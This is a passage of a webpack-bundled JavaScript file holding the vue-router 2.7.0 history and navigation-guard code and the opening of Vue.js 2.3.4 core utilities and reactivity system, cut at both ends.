var guards = flatMapComponents(records, function (def, instance, match, key) {
var guard = extractGuard(def, name);
if (guard) {
return Array.isArray(guard)
? guard.map(function (guard) { return bind(guard, instance, match, key); })
: bind(guard, instance, match, key)
}
});
return flatten(reverse ? guards.reverse() : guards)
}
function extractGuard (
def,
key
) {
if (typeof def !== 'function') {
// extend now so that global mixins are applied.
def = _Vue.extend(def);
}
return def.options[key]
}
function extractLeaveGuards (deactivated) {
return extractGuards(deactivated, 'beforeRouteLeave', bindGuard, true)
}
function extractUpdateHooks (updated) {
return extractGuards(updated, 'beforeRouteUpdate', bindGuard)
}
function bindGuard (guard, instance) {
if (instance) {
return function boundRouteGuard () {
return guard.apply(instance, arguments)
}
}
}
function extractEnterGuards (
activated,
cbs,
isValid
) {
return extractGuards(activated, 'beforeRouteEnter', function (guard, _, match, key) {
return bindEnterGuard(guard, match, key, cbs, isValid)
})
}
function bindEnterGuard (
guard,
match,
key,
cbs,
isValid
) {
return function routeEnterGuard (to, from, next) {
return guard(to, from, function (cb) {
next(cb);
if (typeof cb === 'function') {
cbs.push(function () {
// #750
// if a router-view is wrapped with an out-in transition,
// the instance may not have been registered at this time.
// we will need to poll for registration until current route
// is no longer valid.
poll(cb, match.instances, key, isValid);
});
}
})
}
}
function poll (
cb, // somehow flow cannot infer this is a function
instances,
key,
isValid
) {
if (instances[key]) {
cb(instances[key]);
} else if (isValid()) {
setTimeout(function () {
poll(cb, instances, key, isValid);
}, 16);
}
}
/* */
var HTML5History = (function (History$$1) {
function HTML5History (router, base) {
var this$1 = this;
History$$1.call(this, router, base);
var expectScroll = router.options.scrollBehavior;
if (expectScroll) {
setupScroll();
}
window.addEventListener('popstate', function (e) {
var current = this$1.current;
this$1.transitionTo(getLocation(this$1.base), function (route) {
if (expectScroll) {
handleScroll(router, route, current, true);
}
});
});
}
if ( History$$1 ) HTML5History.__proto__ = History$$1;
HTML5History.prototype = Object.create( History$$1 && History$$1.prototype );
HTML5History.prototype.constructor = HTML5History;
HTML5History.prototype.go = function go (n) {
window.history.go(n);
};
HTML5History.prototype.push = function push (location, onComplete, onAbort) {
var this$1 = this;
var ref = this;
var fromRoute = ref.current;
this.transitionTo(location, function (route) {
pushState(cleanPath(this$1.base + route.fullPath));
handleScroll(this$1.router, route, fromRoute, false);
onComplete && onComplete(route);
}, onAbort);
};
HTML5History.prototype.replace = function replace (location, onComplete, onAbort) {
var this$1 = this;
var ref = this;
var fromRoute = ref.current;
this.transitionTo(location, function (route) {
replaceState(cleanPath(this$1.base + route.fullPath));
handleScroll(this$1.router, route, fromRoute, false);
onComplete && onComplete(route);
}, onAbort);
};
HTML5History.prototype.ensureURL = function ensureURL (push) {
if (getLocation(this.base) !== this.current.fullPath) {
var current = cleanPath(this.base + this.current.fullPath);
push ? pushState(current) : replaceState(current);
}
};
HTML5History.prototype.getCurrentLocation = function getCurrentLocation () {
return getLocation(this.base)
};
return HTML5History;
}(History));
function getLocation (base) {
var path = window.location.pathname;
if (base && path.indexOf(base) === 0) {
path = path.slice(base.length);
}
return (path || '/') + window.location.search + window.location.hash
}
/* */
var HashHistory = (function (History$$1) {
function HashHistory (router, base, fallback) {
History$$1.call(this, router, base);
// check history fallback deeplinking
if (fallback && checkFallback(this.base)) {
return
}
ensureSlash();
}
if ( History$$1 ) HashHistory.__proto__ = History$$1;
HashHistory.prototype = Object.create( History$$1 && History$$1.prototype );
HashHistory.prototype.constructor = HashHistory;
// this is delayed until the app mounts
// to avoid the hashchange listener being fired too early
HashHistory.prototype.setupListeners = function setupListeners () {
var this$1 = this;
window.addEventListener('hashchange', function () {
if (!ensureSlash()) {
return
}
this$1.transitionTo(getHash(), function (route) {
replaceHash(route.fullPath);
});
});
};
HashHistory.prototype.push = function push (location, onComplete, onAbort) {
this.transitionTo(location, function (route) {
pushHash(route.fullPath);
onComplete && onComplete(route);
}, onAbort);
};
HashHistory.prototype.replace = function replace (location, onComplete, onAbort) {
this.transitionTo(location, function (route) {
replaceHash(route.fullPath);
onComplete && onComplete(route);
}, onAbort);
};
HashHistory.prototype.go = function go (n) {
window.history.go(n);
};
HashHistory.prototype.ensureURL = function ensureURL (push) {
var current = this.current.fullPath;
if (getHash() !== current) {
push ? pushHash(current) : replaceHash(current);
}
};
HashHistory.prototype.getCurrentLocation = function getCurrentLocation () {
return getHash()
};
return HashHistory;
}(History));
function checkFallback (base) {
var location = getLocation(base);
if (!/^\/#/.test(location)) {
window.location.replace(
cleanPath(base + '/#' + location)
);
return true
}
}
function ensureSlash () {
var path = getHash();
if (path.charAt(0) === '/') {
return true
}
replaceHash('/' + path);
return false
}
function getHash () {
// We can't use window.location.hash here because it's not
// consistent across browsers - Firefox will pre-decode it!
var href = window.location.href;
var index = href.indexOf('#');
return index === -1 ? '' : href.slice(index + 1)
}
function pushHash (path) {
window.location.hash = path;
}
function replaceHash (path) {
var href = window.location.href;
var i = href.indexOf('#');
var base = i >= 0 ? href.slice(0, i) : href;
window.location.replace((base + "#" + path));
}
/* */
var AbstractHistory = (function (History$$1) {
function AbstractHistory (router, base) {
History$$1.call(this, router, base);
this.stack = [];
this.index = -1;
}
if ( History$$1 ) AbstractHistory.__proto__ = History$$1;
AbstractHistory.prototype = Object.create( History$$1 && History$$1.prototype );
AbstractHistory.prototype.constructor = AbstractHistory;
AbstractHistory.prototype.push = function push (location, onComplete, onAbort) {
var this$1 = this;
this.transitionTo(location, function (route) {
this$1.stack = this$1.stack.slice(0, this$1.index + 1).concat(route);
this$1.index++;
onComplete && onComplete(route);
}, onAbort);
};
AbstractHistory.prototype.replace = function replace (location, onComplete, onAbort) {
var this$1 = this;
this.transitionTo(location, function (route) {
this$1.stack = this$1.stack.slice(0, this$1.index).concat(route);
onComplete && onComplete(route);
}, onAbort);
};
AbstractHistory.prototype.go = function go (n) {
var this$1 = this;
var targetIndex = this.index + n;
if (targetIndex < 0 || targetIndex >= this.stack.length) {
return
}
var route = this.stack[targetIndex];
this.confirmTransition(route, function () {
this$1.index = targetIndex;
this$1.updateRoute(route);
});
};
AbstractHistory.prototype.getCurrentLocation = function getCurrentLocation () {
var current = this.stack[this.stack.length - 1];
return current ? current.fullPath : '/'
};
AbstractHistory.prototype.ensureURL = function ensureURL () {
// noop
};
return AbstractHistory;
}(History));
/* */
var VueRouter = function VueRouter (options) {
if ( options === void 0 ) options = {};
this.app = null;
this.apps = [];
this.options = options;
this.beforeHooks = [];
this.resolveHooks = [];
this.afterHooks = [];
this.matcher = createMatcher(options.routes || [], this);
var mode = options.mode || 'hash';
this.fallback = mode === 'history' && !supportsPushState && options.fallback !== false;
if (this.fallback) {
mode = 'hash';
}
if (!inBrowser) {
mode = 'abstract';
}
this.mode = mode;
switch (mode) {
case 'history':
this.history = new HTML5History(this, options.base);
break
case 'hash':
this.history = new HashHistory(this, options.base, this.fallback);
break
case 'abstract':
this.history = new AbstractHistory(this, options.base);
break
default:
if (process.env.NODE_ENV !== 'production') {
assert(false, ("invalid mode: " + mode));
}
}
};
var prototypeAccessors = { currentRoute: {} };
VueRouter.prototype.match = function match (
raw,
current,
redirectedFrom
) {
return this.matcher.match(raw, current, redirectedFrom)
};
prototypeAccessors.currentRoute.get = function () {
return this.history && this.history.current
};
VueRouter.prototype.init = function init (app /* Vue component instance */) {
var this$1 = this;
process.env.NODE_ENV !== 'production' && assert(
install.installed,
"not installed. Make sure to call `Vue.use(VueRouter)` " +
"before creating root instance."
);
this.apps.push(app);
// main app already initialized.
if (this.app) {
return
}
this.app = app;
var history = this.history;
if (history instanceof HTML5History) {
history.transitionTo(history.getCurrentLocation());
} else if (history instanceof HashHistory) {
var setupHashListener = function () {
history.setupListeners();
};
history.transitionTo(
history.getCurrentLocation(),
setupHashListener,
setupHashListener
);
}
history.listen(function (route) {
this$1.apps.forEach(function (app) {
app._route = route;
});
});
};
VueRouter.prototype.beforeEach = function beforeEach (fn) {
return registerHook(this.beforeHooks, fn)
};
VueRouter.prototype.beforeResolve = function beforeResolve (fn) {
return registerHook(this.resolveHooks, fn)
};
VueRouter.prototype.afterEach = function afterEach (fn) {
return registerHook(this.afterHooks, fn)
};
VueRouter.prototype.onReady = function onReady (cb, errorCb) {
this.history.onReady(cb, errorCb);
};
VueRouter.prototype.onError = function onError (errorCb) {
this.history.onError(errorCb);
};
VueRouter.prototype.push = function push (location, onComplete, onAbort) {
this.history.push(location, onComplete, onAbort);
};
VueRouter.prototype.replace = function replace (location, onComplete, onAbort) {
this.history.replace(location, onComplete, onAbort);
};
VueRouter.prototype.go = function go (n) {
this.history.go(n);
};
VueRouter.prototype.back = function back () {
this.go(-1);
};
VueRouter.prototype.forward = function forward () {
this.go(1);
};
VueRouter.prototype.getMatchedComponents = function getMatchedComponents (to) {
var route = to
? to.matched
? to
: this.resolve(to).route
: this.currentRoute;
if (!route) {
return []
}
return [].concat.apply([], route.matched.map(function (m) {
return Object.keys(m.components).map(function (key) {
return m.components[key]
})
}))
};
VueRouter.prototype.resolve = function resolve (
to,
current,
append
) {
var location = normalizeLocation(
to,
current || this.history.current,
append,
this
);
var route = this.match(location, current);
var fullPath = route.redirectedFrom || route.fullPath;
var base = this.history.base;
var href = createHref(base, fullPath, this.mode);
return {
location: location,
route: route,
href: href,
// for backwards compat
normalizedTo: location,
resolved: route
}
};
VueRouter.prototype.addRoutes = function addRoutes (routes) {
this.matcher.addRoutes(routes);
if (this.history.current !== START) {
this.history.transitionTo(this.history.getCurrentLocation());
}
};
Object.defineProperties( VueRouter.prototype, prototypeAccessors );
function registerHook (list, fn) {
list.push(fn);
return function () {
var i = list.indexOf(fn);
if (i > -1) { list.splice(i, 1); }
}
}
function createHref (base, fullPath, mode) {
var path = mode === 'hash' ? '#' + fullPath : fullPath;
return base ? cleanPath(base + '/' + path) : path
}
VueRouter.install = install;
VueRouter.version = '2.7.0';
if (inBrowser && window.Vue) {
window.Vue.use(VueRouter);
}
/* harmony default export */ __webpack_exports__["default"] = (VueRouter);
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(0)))
/***/ }),
/* 3 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* WEBPACK VAR INJECTION */(function(process, global) {/*!
* Vue.js v2.3.4
* (c) 2014-2017 Evan You
* Released under the MIT License.
*/
/* */
// these helpers produces better vm code in JS engines due to their
// explicitness and function inlining
function isUndef (v) {
return v === undefined || v === null
}
function isDef (v) {
return v !== undefined && v !== null
}
function isTrue (v) {
return v === true
}
function isFalse (v) {
return v === false
}
/**
* Check if value is primitive
*/
function isPrimitive (value) {
return typeof value === 'string' || typeof value === 'number'
}
/**
* Quick object check - this is primarily used to tell
* Objects from primitive values when we know the value
* is a JSON-compliant type.
*/
function isObject (obj) {
return obj !== null && typeof obj === 'object'
}
var _toString = Object.prototype.toString;
/**
* Strict object type check. Only returns true
* for plain JavaScript objects.
*/
function isPlainObject (obj) {
return _toString.call(obj) === '[object Object]'
}
function isRegExp (v) {
return _toString.call(v) === '[object RegExp]'
}
/**
* Convert a value to a string that is actually rendered.
*/
function toString (val) {
return val == null
? ''
: typeof val === 'object'
? JSON.stringify(val, null, 2)
: String(val)
}
/**
* Convert a input value to a number for persistence.
* If the conversion fails, return original string.
*/
function toNumber (val) {
var n = parseFloat(val);
return isNaN(n) ? val : n
}
/**
* Make a map and return a function for checking if a key
* is in that map.
*/
function makeMap (
str,
expectsLowerCase
) {
var map = Object.create(null);
var list = str.split(',');
for (var i = 0; i < list.length; i++) {
map[list[i]] = true;
}
return expectsLowerCase
? function (val) { return map[val.toLowerCase()]; }
: function (val) { return map[val]; }
}
/**
* Check if a tag is a built-in tag.
*/
var isBuiltInTag = makeMap('slot,component', true);
/**
* Remove an item from an array
*/
function remove (arr, item) {
if (arr.length) {
var index = arr.indexOf(item);
if (index > -1) {
return arr.splice(index, 1)
}
}
}
/**
* Check whether the object has the property.
*/
var hasOwnProperty = Object.prototype.hasOwnProperty;
function hasOwn (obj, key) {
return hasOwnProperty.call(obj, key)
}
/**
* Create a cached version of a pure function.
*/
function cached (fn) {
var cache = Object.create(null);
return (function cachedFn (str) {
var hit = cache[str];
return hit || (cache[str] = fn(str))
})
}
/**
* Camelize a hyphen-delimited string.
*/
var camelizeRE = /-(\w)/g;
var camelize = cached(function (str) {
return str.replace(camelizeRE, function (_, c) { return c ? c.toUpperCase() : ''; })
});
/**
* Capitalize a string.
*/
var capitalize = cached(function (str) {
return str.charAt(0).toUpperCase() + str.slice(1)
});
/**
* Hyphenate a camelCase string.
*/
var hyphenateRE = /([^-])([A-Z])/g;
var hyphenate = cached(function (str) {
return str
.replace(hyphenateRE, '$1-$2')
.replace(hyphenateRE, '$1-$2')
.toLowerCase()
});
/**
* Simple bind, faster than native
*/
function bind (fn, ctx) {
function boundFn (a) {
var l = arguments.length;
return l
? l > 1
? fn.apply(ctx, arguments)
: fn.call(ctx, a)
: fn.call(ctx)
}
// record original fn length
boundFn._length = fn.length;
return boundFn
}
/**
* Convert an Array-like object to a real Array.
*/
function toArray (list, start) {
start = start || 0;
var i = list.length - start;
var ret = new Array(i);
while (i--) {
ret[i] = list[i + start];
}
return ret
}
/**
* Mix properties into target object.
*/
function extend (to, _from) {
for (var key in _from) {
to[key] = _from[key];
}
return to
}
/**
* Merge an Array of Objects into a single Object.
*/
function toObject (arr) {
var res = {};
for (var i = 0; i < arr.length; i++) {
if (arr[i]) {
extend(res, arr[i]);
}
}
return res
}
/**
* Perform no operation.
*/
function noop () {}
/**
* Always return false.
*/
var no = function () { return false; };
/**
* Return same value
*/
var identity = function (_) { return _; };
/**
* Generate a static keys string from compiler modules.
*/
function genStaticKeys (modules) {
return modules.reduce(function (keys, m) {
return keys.concat(m.staticKeys || [])
}, []).join(',')
}
/**
* Check if two values are loosely equal - that is,
* if they are plain objects, do they have the same shape?
*/
function looseEqual (a, b) {
var isObjectA = isObject(a);
var isObjectB = isObject(b);
if (isObjectA && isObjectB) {
try {
return JSON.stringify(a) === JSON.stringify(b)
} catch (e) {
// possible circular reference
return a === b
}
} else if (!isObjectA && !isObjectB) {
return String(a) === String(b)
} else {
return false
}
}
function looseIndexOf (arr, val) {
for (var i = 0; i < arr.length; i++) {
if (looseEqual(arr[i], val)) { return i }
}
return -1
}
/**
* Ensure a function is called only once.
*/
function once (fn) {
var called = false;
return function () {
if (!called) {
called = true;
fn.apply(this, arguments);
}
}
}
var SSR_ATTR = 'data-server-rendered';
var ASSET_TYPES = [
'component',
'directive',
'filter'
];
var LIFECYCLE_HOOKS = [
'beforeCreate',
'created',
'beforeMount',
'mounted',
'beforeUpdate',
'updated',
'beforeDestroy',
'destroyed',
'activated',
'deactivated'
];
/* */
var config = ({
/**
* Option merge strategies (used in core/util/options)
*/
optionMergeStrategies: Object.create(null),
/**
* Whether to suppress warnings.
*/
silent: false,
/**
* Show production mode tip message on boot?
*/
productionTip: process.env.NODE_ENV !== 'production',
/**
* Whether to enable devtools
*/
devtools: process.env.NODE_ENV !== 'production',
/**
* Whether to record perf
*/
performance: false,
/**
* Error handler for watcher errors
*/
errorHandler: null,
/**
* Ignore certain custom elements
*/
ignoredElements: [],
/**
* Custom user key aliases for v-on
*/
keyCodes: Object.create(null),
/**
* Check if a tag is reserved so that it cannot be registered as a
* component. This is platform-dependent and may be overwritten.
*/
isReservedTag: no,
/**
* Check if an attribute is reserved so that it cannot be used as a component
* prop. This is platform-dependent and may be overwritten.
*/
isReservedAttr: no,
/**
* Check if a tag is an unknown element.
* Platform-dependent.
*/
isUnknownElement: no,
/**
* Get the namespace of an element
*/
getTagNamespace: noop,
/**
* Parse the real tag name for the specific platform.
*/
parsePlatformTagName: identity,
/**
* Check if an attribute must be bound using property, e.g. value
* Platform-dependent.
*/
mustUseProp: no,
/**
* Exposed for legacy reasons
*/
_lifecycleHooks: LIFECYCLE_HOOKS
});
/* */
var emptyObject = Object.freeze({});
/**
* Check if a string starts with $ or _
*/
function isReserved (str) {
var c = (str + '').charCodeAt(0);
return c === 0x24 || c === 0x5F
}
/**
* Define a property.
*/
function def (obj, key, val, enumerable) {
Object.defineProperty(obj, key, {
value: val,
enumerable: !!enumerable,
writable: true,
configurable: true
});
}
/**
* Parse simple path.
*/
var bailRE = /[^\w.$]/;
function parsePath (path) {
if (bailRE.test(path)) {
return
}
var segments = path.split('.');
return function (obj) {
for (var i = 0; i < segments.length; i++) {
if (!obj) { return }
obj = obj[segments[i]];
}
return obj
}
}
/* */
var warn = noop;
var tip = noop;
var formatComponentName = (null); // work around flow check
if (process.env.NODE_ENV !== 'production') {
var hasConsole = typeof console !== 'undefined';
var classifyRE = /(?:^|[-_])(\w)/g;
var classify = function (str) { return str
.replace(classifyRE, function (c) { return c.toUpperCase(); })
.replace(/[-_]/g, ''); };
warn = function (msg, vm) {
if (hasConsole && (!config.silent)) {
console.error("[Vue warn]: " + msg + (
vm ? generateComponentTrace(vm) : ''
));
}
};
tip = function (msg, vm) {
if (hasConsole && (!config.silent)) {
console.warn("[Vue tip]: " + msg + (
vm ? generateComponentTrace(vm) : ''
));
}
};
formatComponentName = function (vm, includeFile) {
if (vm.$root === vm) {
return '<Root>'
}
var name = typeof vm === 'string'
? vm
: typeof vm === 'function' && vm.options
? vm.options.name
: vm._isVue
? vm.$options.name || vm.$options._componentTag
: vm.name;
var file = vm._isVue && vm.$options.__file;
if (!name && file) {
var match = file.match(/([^/\\]+)\.vue$/);
name = match && match[1];
}
return (
(name ? ("<" + (classify(name)) + ">") : "<Anonymous>") +
(file && includeFile !== false ? (" at " + file) : '')
)
};
var repeat = function (str, n) {
var res = '';
while (n) {
if (n % 2 === 1) { res += str; }
if (n > 1) { str += str; }
n >>= 1;
}
return res
};
var generateComponentTrace = function (vm) {
if (vm._isVue && vm.$parent) {
var tree = [];
var currentRecursiveSequence = 0;
while (vm) {
if (tree.length > 0) {
var last = tree[tree.length - 1];
if (last.constructor === vm.constructor) {
currentRecursiveSequence++;
vm = vm.$parent;
continue
} else if (currentRecursiveSequence > 0) {
tree[tree.length - 1] = [last, currentRecursiveSequence];
currentRecursiveSequence = 0;
}
}
tree.push(vm);
vm = vm.$parent;
}
return '\n\nfound in\n\n' + tree
.map(function (vm, i) { return ("" + (i === 0 ? '---> ' : repeat(' ', 5 + i * 2)) + (Array.isArray(vm)
? ((formatComponentName(vm[0])) + "... (" + (vm[1]) + " recursive calls)")
: formatComponentName(vm))); })
.join('\n')
} else {
return ("\n\n(found in " + (formatComponentName(vm)) + ")")
}
};
}
/* */
function handleError (err, vm, info) {
if (config.errorHandler) {
config.errorHandler.call(null, err, vm, info);
} else {
if (process.env.NODE_ENV !== 'production') {
warn(("Error in " + info + ": \"" + (err.toString()) + "\""), vm);
}
/* istanbul ignore else */
if (inBrowser && typeof console !== 'undefined') {
console.error(err);
} else {
throw err
}
}
}
/* */
/* globals MutationObserver */
// can we use __proto__?
var hasProto = '__proto__' in {};
// Browser environment sniffing
var inBrowser = typeof window !== 'undefined';
var UA = inBrowser && window.navigator.userAgent.toLowerCase();
var isIE = UA && /msie|trident/.test(UA);
var isIE9 = UA && UA.indexOf('msie 9.0') > 0;
var isEdge = UA && UA.indexOf('edge/') > 0;
var isAndroid = UA && UA.indexOf('android') > 0;
var isIOS = UA && /iphone|ipad|ipod|ios/.test(UA);
var isChrome = UA && /chrome\/\d+/.test(UA) && !isEdge;
var supportsPassive = false;
if (inBrowser) {
try {
var opts = {};
Object.defineProperty(opts, 'passive', ({
get: function get () {
/* istanbul ignore next */
supportsPassive = true;
}
} )); // https://github.com/facebook/flow/issues/285
window.addEventListener('test-passive', null, opts);
} catch (e) {}
}
// this needs to be lazy-evaled because vue may be required before
// vue-server-renderer can set VUE_ENV
var _isServer;
var isServerRendering = function () {
if (_isServer === undefined) {
/* istanbul ignore if */
if (!inBrowser && typeof global !== 'undefined') {
// detect presence of vue-server-renderer and avoid
// Webpack shimming the process
_isServer = global['process'].env.VUE_ENV === 'server';
} else {
_isServer = false;
}
}
return _isServer
};
// detect devtools
var devtools = inBrowser && window.__VUE_DEVTOOLS_GLOBAL_HOOK__;
/* istanbul ignore next */
function isNative (Ctor) {
return typeof Ctor === 'function' && /native code/.test(Ctor.toString())
}
var hasSymbol =
typeof Symbol !== 'undefined' && isNative(Symbol) &&
typeof Reflect !== 'undefined' && isNative(Reflect.ownKeys);
/**
* Defer a task to execute it asynchronously.
*/
var nextTick = (function () {
var callbacks = [];
var pending = false;
var timerFunc;
function nextTickHandler () {
pending = false;
var copies = callbacks.slice(0);
callbacks.length = 0;
for (var i = 0; i < copies.length; i++) {
copies[i]();
}
}
// the nextTick behavior leverages the microtask queue, which can be accessed
// via either native Promise.then or MutationObserver.
// MutationObserver has wider support, however it is seriously bugged in
// UIWebView in iOS >= 9.3.3 when triggered in touch event handlers. It
// completely stops working after triggering a few times... so, if native
// Promise is available, we will use it:
/* istanbul ignore if */
if (typeof Promise !== 'undefined' && isNative(Promise)) {
var p = Promise.resolve();
var logError = function (err) { console.error(err); };
timerFunc = function () {
p.then(nextTickHandler).catch(logError);
// in problematic UIWebViews, Promise.then doesn't completely break, but
// it can get stuck in a weird state where callbacks are pushed into the
// microtask queue but the queue isn't being flushed, until the browser
// needs to do some other work, e.g. handle a timer. Therefore we can
// "force" the microtask queue to be flushed by adding an empty timer.
if (isIOS) { setTimeout(noop); }
};
} else if (typeof MutationObserver !== 'undefined' && (
isNative(MutationObserver) ||
// PhantomJS and iOS 7.x
MutationObserver.toString() === '[object MutationObserverConstructor]'
)) {
// use MutationObserver where native Promise is not available,
// e.g. PhantomJS IE11, iOS7, Android 4.4
var counter = 1;
var observer = new MutationObserver(nextTickHandler);
var textNode = document.createTextNode(String(counter));
observer.observe(textNode, {
characterData: true
});
timerFunc = function () {
counter = (counter + 1) % 2;
textNode.data = String(counter);
};
} else {
// fallback to setTimeout
/* istanbul ignore next */
timerFunc = function () {
setTimeout(nextTickHandler, 0);
};
}
return function queueNextTick (cb, ctx) {
var _resolve;
callbacks.push(function () {
if (cb) {
try {
cb.call(ctx);
} catch (e) {
handleError(e, ctx, 'nextTick');
}
} else if (_resolve) {
_resolve(ctx);
}
});
if (!pending) {
pending = true;
timerFunc();
}
if (!cb && typeof Promise !== 'undefined') {
return new Promise(function (resolve, reject) {
_resolve = resolve;
})
}
}
})();
var _Set;
/* istanbul ignore if */
if (typeof Set !== 'undefined' && isNative(Set)) {
// use native Set when available.
_Set = Set;
} else {
// a non-standard Set polyfill that only works with primitive keys.
_Set = (function () {
function Set () {
this.set = Object.create(null);
}
Set.prototype.has = function has (key) {
return this.set[key] === true
};
Set.prototype.add = function add (key) {
this.set[key] = true;
};
Set.prototype.clear = function clear () {
this.set = Object.create(null);
};
return Set;
}());
}
/* */
var uid = 0;
/**
* A dep is an observable that can have multiple
* directives subscribing to it.
*/
var Dep = function Dep () {
this.id = uid++;
this.subs = [];
};
Dep.prototype.addSub = function addSub (sub) {
this.subs.push(sub);
};
Dep.prototype.removeSub = function removeSub (sub) {
remove(this.subs, sub);
};
Dep.prototype.depend = function depend () {
if (Dep.target) {
Dep.target.addDep(this);
}
};
Dep.prototype.notify = function notify () {
// stabilize the subscriber list first
var subs = this.subs.slice();
for (var i = 0, l = subs.length; i < l; i++) {
subs[i].update();
}
};
// the current target watcher being evaluated.
// this is globally unique because there could be only one
// watcher being evaluated at any time.
Dep.target = null;
var targetStack = [];
function pushTarget (_target) {
if (Dep.target) { targetStack.push(Dep.target); }
Dep.target = _target;
}
function popTarget () {
Dep.target = targetStack.pop();
}
/*
* not type checking this file because flow doesn't play well with
* dynamically accessing methods on Array prototype
*/
var arrayProto = Array.prototype;
var arrayMethods = Object.create(arrayProto);[
'push',
'pop',
'shift',
'unshift',
'splice',
'sort',
'reverse'
]
.forEach(function (method) {
// cache original method
var original = arrayProto[method];
def(arrayMethods, method, function mutator () {
var arguments$1 = arguments;
// avoid leaking arguments:
// http://jsperf.com/closure-with-arguments
var i = arguments.length;
var args = new Array(i);
while (i--) {
args[i] = arguments$1[i];
}
var result = original.apply(this, args);
var ob = this.__ob__;
var inserted;
switch (method) {
case 'push':
inserted = args;
break
case 'unshift':
inserted = args;
break
case 'splice':
inserted = args.slice(2);
break
}
if (inserted) { ob.observeArray(inserted); }
// notify change
ob.dep.notify();
return result
});
});
/* */
var arrayKeys = Object.getOwnPropertyNames(arrayMethods);
/**
* By default, when a reactive property is set, the new value is
* also converted to become reactive. However when passing down props,
* we don't want to force conversion because the value may be a nested value
* under a frozen data structure. Converting it would defeat the optimization.
*/
var observerState = {
shouldConvert: true,
isSettingProps: false
};
/**
* Observer class that are attached to each observed
* object. Once attached, the observer converts target
* object's property keys into getter/setters that
* collect dependencies and dispatches updates.
*/
var Observer = function Observer (value) {
this.value = value;
this.dep = new Dep();
this.vmCount = 0;
def(value, '__ob__', this);
if (Array.isArray(value)) {
var augment = hasProto
? protoAugment
: copyAugment;
augment(value, arrayMethods, arrayKeys);
this.observeArray(value);
} else {
this.walk(value);
}
};
/**
* Walk through each property and convert them into
* getter/setters. This method should only be called when
* value type is Object.
*/
Observer.prototype.walk = function walk (obj) {
var keys = Object.keys(obj);
for (var i = 0; i < keys.length; i++) {
defineReactive$$1(obj, keys[i], obj[keys[i]]);
}
};
/**
* Observe a list of Array items.
*/
Observer.prototype.observeArray = function observeArray (items) {
for (var i = 0, l = items.length; i < l; i++) {
observe(items[i]);
}
};
// helpers
/**
* Augment an target Object or Array by intercepting
* the prototype chain using __proto__
*/
function protoAugment (target, src) {
/* eslint-disable no-proto */
target.__proto__ = src;
/* eslint-enable no-proto */
}
/**
* Augment an target Object or Array by defining
* hidden properties.
*/
/* istanbul ignore next */
function copyAugment (target, src, keys) {
for (var i = 0, l = keys.length; i < l; i++) {
var key = keys[i];
def(target, key, src[key]);
}
}
/**
* Attempt to create an observer instance for a value,
* returns the new observer if successfully observed,
* or the existing observer if the value already has one.
*/
function observe (value, asRootData) {
if (!isObject(value)) {
return
}
var ob;
if (hasOwn(value, '__ob__') && value.__ob__ instanceof Observer) {
ob = value.__ob__;
} else if (
observerState.shouldConvert &&
!isServerRendering() &&
(Array.isArray(value) || isPlainObject(value)) &&
Object.isExtensible(value) &&
!value._isVue
) {
ob = new Observer(value);
}
if (asRootData && ob) {
ob.vmCount++;
}
return ob
}
/**
* Define a reactive property on an Object.
*/
function defineReactive$$1 (
obj,
key,
val,
customSetter
) {
var dep = new Dep();
var property = Object.getOwnPropertyDescriptor(obj, key);
if (property && property.configurable === false) {
return
}
// cater for pre-defined getter/setters
var getter = property && property.get;
var setter = property && property.set;
var childOb = observe(val);
Object.defineProperty(obj, key, {
enumerable: true,
configurable: true,
get: function reactiveGetter () {
var value = getter ? getter.call(obj) : val;
if (Dep.target) {
dep.depend();
if (childOb) {
childOb.dep.depend();
}
if (Array.isArray(value)) {
dependArray(value);
}
}
return value
},
set: function reactiveSetter (newVal) {
var value = getter ? getter.call(obj) : val;
/* eslint-disable no-self-compare */
if (newVal === value || (newVal !== newVal && value !== value)) {
return
}
/* eslint-enable no-self-compare */
if (process.env.NODE_ENV !== 'production' && customSetter) {
customSetter();
}
if (setter) {
setter.call(obj, newVal);
} else {
val = newVal;
}
childOb = observe(newVal);
dep.notify();
}
});
}
/**
* Set a property on an object. Adds the new property and
* triggers change notification if the property doesn't
* already exist.
*/
function set (target, key, val) {
if (Array.isArray(target) && typeof key === 'number') {
target.length = Math.max(target.length, key);
target.splice(key, 1, val);
return val
}
if (hasOwn(target, key)) {
target[key] = val;
return val
}
var ob = (target ).__ob__;
if (target._isVue || (ob && ob.vmCount)) {
process.env.NODE_ENV !== 'production' && warn(
'Avoid adding reactive properties to a Vue instance or its root $data ' +
'at runtime - declare it upfront in the data option.'
);
return val
}
if (!ob) {
target[key] = val;
return val
}
defineReactive$$1(ob.value, key, val);
ob.dep.notify();
return val
}
/**
* Delete a property and trigger change if necessary.
*/
function del (target, key) {
if (Array.isArray(target) && typeof key === 'number') {
target.splice(key, 1);
return
}
var ob = (target ).__ob__;
if (target._isVue || (ob && ob.vmCount)) {
process.env.NODE_ENV !== 'production' && warn(
'Avoid deleting properties on a Vue instance or its root $data ' +
'- just set it to null.'
);
return
}
if (!hasOwn(target, key)) {
return
}
delete target[key];
if (!ob) {
return
}
ob.dep.notify();
}
/**
* Collect dependencies on array elements when the array is touched, since
* we cannot intercept array element access like property getters.
*/
function dependArray (value) {
for (var e = (void 0), i = 0, l = value.length; i < l; i++) {
e = value[i];
e && e.__ob__ && e.__ob__.dep.depend();
if (Array.isArray(e)) {
dependArray(e);
}
}
}
/* */
/**
* Option overwriting strategies are functions that handle
* how to merge a parent option value and a child option
* value into the final value.
*/
var strats = config.optionMergeStrategies;
/**
* Options with restrictions
*/
if (process.env.NODE_ENV !== 'production') {
strats.el = strats.propsData = function (parent, child, vm, key) {
if (!vm) {
warn(
"option \"" + key + "\" can only be used during instance " +
'creation with the `new` keyword.'
);
}
return defaultStrat(parent, child)
};
}
/**
* Helper that recursively merges two data objects together.
*/
function mergeData (to, from) {
if (!from) { return to }
var key, toVal, fromVal;
var keys = Object.keys(from);
for (var i = 0; i < keys.length; i++) {
key = keys[i];
toVal = to[key];
fromVal = from[key];
if (!hasOwn(to, key)) {
set(to, key, fromVal);
} else if (isPlainObject(toVal) && isPlainObject(fromVal)) {
mergeData(toVal, fromVal);
}
}
return to
}
/**
* Data
*/
strats.data = function (
parentVal,
childVal,
vm
) {
if (!vm) {
// in a Vue.extend merge, both should be functions
if (!childVal) {
return parentVal
}
if (typeof childVal !== 'function') {
process.env.NODE_ENV !== 'production' && warn(
'The "data" option should be a function ' +
'that returns a per-instance value in component ' +
'definitions.',
vm
);
return parentVal
}
if (!parentVal) {
